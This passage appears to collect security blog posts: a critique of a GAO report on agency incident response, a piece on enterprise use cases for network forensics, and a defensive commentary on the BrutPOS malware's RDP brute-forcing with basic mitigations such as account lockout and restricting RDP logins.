Third, “agencies returned their systems to an operationally ready state for about 81 percent of incidents government-wide. However, they had not consistently documented remedial actions on whether they had taken steps to prevent an incident from reoccurring. Specifically, agencies did not demonstrate that they had acted to prevent an incident from reoccurring in about 49 percent of incidents government-wide.”

This comment describes the need to learn from intrusions and implement remediation. If a victim fails to make the environment tougher for the adversary, the intruder will likely return using the same techniques that he utilized to first gain access.

Finally, a search of the entire GAO report for the word “strategy” produced zero hits. Beyond being disappointed by the three excerpts I highlighted above, I am dismayed to not hear GAO discuss the need for a security strategy for organizations. Incident response is not a technical action. IR should be part of a business process, done as part of an operation that implements a strategy understood and approved by the highest levels of management. Furthermore, the GAO report did not really evaluate the consequences of the three documented failures and the lack of concrete security strategies. Had GAO taken that step, they might have concluded that the agencies continue to face severe security challenges.

Network Forensics: Use Cases In the Enterprise

Network forensics is an important component of a successful security operations program. It is an important capability that provides a data of record for the incident responder and plays an important role in the daily security operations workflow.  While the utility and importance of network forensics may be clear to the security professional, that value may be difficult to communicate to the business decision maker or executive. In this post, I’d like to discuss several business use cases for network forensics that may help communicate the value and business need for network forensics as an integral component of incident response.

Breach Response

When an organization discovers, or is notified of a breach, time becomes of the essence. The organization’s immediate focus becomes moving quickly from detection to containment. In order to make this move, the organization needs to answer a set of essential questions aimed at identifying the extent of the breach and the damage caused by it. This process is often called breach response and involves investigation, analysis, and forensics. Examples of some of the questions that will need to be answered are:

  • How long has this activity been going on (i.e., when did the intrusion begin)?
  • Is the activity still going on?
  • How many systems were affected?
  • What data was taken?
  • Was any sensitive, proprietary, or confidential information taken?

These and other relevant questions are designed to focus the organization on rapidly identifying the extent of the damage, both for containment purposes, but also to address potential public relations, legal, and privacy concerns. For example, consider the case where a law enforcement agency approaches a business (of any size) and informs them that they have been breached and have been observed communicating with a known drop site. The organization will have many questions, including, among many others, those listed above. An accurate, cohesive, lossless data of record is required to properly answer all of the necessary questions. Further, it’s not sufficient merely collect the data, but rather, it must be easy to precisely, incisively, and rapidly extract that data for analysis and forensics.

Hunting

On any network, there will be unusual or suspect activity from time to time. Sometimes, this unusual activity can be indicative of advanced threats and targeted activity. Many times, the threat actors are quite adept at keeping a low profile and executing actions on objectives subtly. For example, Advanced Persistent Threat (APT) actors may compromise an endpoint inside of an organization and slowly collect sensitive, proprietary, or confidential information to stage for subsequent exfiltration. While detecting this activity in an automated fashion would be ideal, this turns out to be very difficult in practice. As a result, if this activity is successfully detected within the organization (as opposed to via a third party), it is most often done so via hunting. Hunting is the activity through which skilled analysts use a variety of different analytical techniques to “slice and dice” the network traffic data in the “hunt” for this subtle malicious activity. The best analysts will want to issue targeted, precise, incisive queries designed to extract the proper forensics data rapidly, with minimal noise. This requires a network forensics capability that can rise to this challenge at enterprise network speeds and traffic volumes.

Metrics/Network Knowledge

Metrics provide important data points to the decision maker and executive. As a recent example, let us consider the many new Top Level Domains (TLDs) that have become available for use. Attackers have already leveraged some of these TLDs for malicious purposes, and this activity will undoubtedly continue to increase. This example begs the question: If a TLD serves no legitimate business purpose and can only expose the organization to risk, should it be blocked proactively? I believe the answer to this question is yes. But how can we ensure that a TLD serves no business purpose? This is where the metrics and network knowledge become so crucial.  Business decisions should be based on facts, and facts come from an accurate, precise data of record – the network forensics data. This is merely one example of the many business questions that can be answered with metrics driven by network forensics data. When business decision makers or executives need answers, it is best to be able to provide answers based on ground truth.

Intelligence

When leveraged properly, actionable intelligence can provide additional enrichment and maturity to a security operations program, as well as aid in the improved detection of intrusions. Leveraging intelligence properly involves many details, but one of the most important details is that a reliable data of record exists. After various Indicators of Compromise (IOCs) are received and vetted, they should be leveraged against a reliable data of record in order to maximize their value. There are two time-based aspects here – historical and ongoing. We can run IOCs against our historical data to check for evidence of intrusions present on the network from the past on through the current day. In addition to that, we should also monitor for evidence of intrusions on an ongoing basis and raise an event to the alert queue when we see that evidence. These are both productive activities, assuming that an accurate, cohesive, lossless data of record exists for us to run the IOCs against.  Further, it is not merely enough to collect the data – we need to be able to rapidly and surgically extract the data through targeted, precise, and incisive queries. For example, an organization may receive a daily feed of malicious command and control domain names from one or more of its intelligence sources. That data needs to be run against a corresponding data of record to find instances of command and control activity present on the organization’s network indicating that some systems are compromised. A scalable network forensics solution, one that can both record all of the network data at high speed as well as make that data and meta-data available for analysis, is required in order to properly leverage intelligence.

DNS/Passive DNS

Data from Domain Name System (DNS) queries and responses provide a wealth of insight into unusual or suspect activity that may be occurring on the network. For example, most users pointing their browsers at legitimate websites will request domain names that resolve to routable, public IP addresses. But what if a resource on the network repeatedly requests a domain name that resolves to private, non-routable IP address or one that has no resolution at all? Further, what if that domain name suddenly “comes alive” and begins resolving to a routable, public IP address and/or the resource begins exfiltrating data to that IP address? This is just one of many interesting applications of DNS query and response data. As interesting and crucial as this data is, many organizations struggle to maintain adequate visibility across their DNS infrastructure. There are many reasons why this is the case, but there is a solution. A network forensics platform collects layer 7 enriched meta-data for many application protocols, DNS among them. This provides an organization with a de facto DNS monitoring and passive DNS data collection system, without requiring the organization to invest in additional technology or hardware. It’s one of my favorite use cases for network forensics and likely one that will resonate with many readers. For smaller organizations, there is also the additional benefit of using using one network forensics technology for multiple purposes.

Intelligent Alerting

As the old saying goes, ask a stupid question, get a stupid answer. The modern attacker is intelligent and sophisticated. We would be naïve to think that we could identify a sly attacker’s subtle activity with dull, generic queries. If we want to find the intelligent attacker, we need to ask intelligent questions. Asking intelligent questions requires two fundamental components. The first required component is that the data be collected and its associated meta-data extracted and indexed for rapid search. The second required component is a robust query language that allows the analyst to ask incisive, targeted, precise, intelligent questions of the data. It’s likely not a surprise that a mature, scalable, powerful network forensics solution provides both of these required components. For example, say I am a mid-sized organization concerned by potential theft of intellectual property from my executives. With the right solution in place, I can precisely craft my alert logic so as to focus in on the specific employees, systems, data, and threats I am concerned with. In the absence of that capability, many organizations struggle to issue queries powerful enough to identify suspicious and malicious activity designed to behave subtly and fly under the radar.

There are many use cases for network forensics, but I’ve tried to list those that may help to reinforce the strong business need for network forensics. When the need arises to perform breach response or any of the other use cases listed above, the organization that has implemented a robust, scalable network forensics solution will fare better than the organization that has not. With the stakes so high these days, it would be a shame not to be prepared.

BrutPOS From a Security Practioner’s Perspective

Today, FireEye Labs posted a technical blog on the malware for a botnet that we call BrutPOS. With a lot of attention focused on data breaches in retail, BrutPOS gives us a chance to look retrospectively on the state of retail security.

The popular phrase “a chain is only as strong as its weakest link” has great relevance in the information security world.  There are a large number of ways to compromise a business network, yet attackers are quite successful in this endeavor using fairly pedestrian methods of attack.  This raises the important question: Why is this the case?  Part of the answer lies in the fact that attackers don’t feel a great need to use particularly sophisticated attack methods.  In other words, if attackers can succeed using fairly elementary attack methods, why should they work any harder?  Let’s examine this principle through the example of the BrutPOS malware.

Most businesses use Microsoft’s Remote Desktop Protocol (RDP) as an integral part of their day-to-day business operations.  RDP allows for remote login to Windows systems.  This has many legitimate uses, such as an administrator logging on to a system remotely to update a software package.  Like any legitimate service, attackers are also quite happy to leverage RDP for their own nefarious purposes.  An example of this is the BrutPOS malware, the analysis of which was detailed in a FireEye blog post today. At a high level, the purpose of the BrutPOS malware is to compromise Point of Sale (POS) terminals through the use of the remote desktop protocol (RDP).  The malware aims to steal payment card information from those compromised POS terminals.  There is no need for the attackers to write a sophisticated protocol for their malware to log on to systems remotely – the RDP works quite nicely.

There are many approaches an organization can take to better manage the risk presented in the BrutPOS malware. One of those approaches is to go back to basics and remember some important foundational tenets of information security.  This approach involves ensuring that authentication and authorization policies are sensible and enforced across the organization.  For example, some simple steps an organization can take to improve its defenses against threats such as BrutPOS include (but are not limited to):

  • Not allowing administrative access to systems, with the exception of special administrative accounts for administrators
  • Locking out accounts after N number of incorrect login attempts
  • Not allowing RDP login by default on systems, but rather, granting it on an as needed basis
  • Limiting or eliminating the use of shared or group accounts
  • Monitoring authentication logs for repetitive failed login attempts to one system or multiple systems

As organizations look to continually improve their information security postures, it’s important to remember that foundational tenets are as valid as ever.  We do need to ensure that we have a variety of defensive measures in our arsenal, but it’s important to remember that not all of them need be cutting edge.  Sometimes, foundational best practices can provide us with straightforward approaches to mitigating risk posed by modern threats.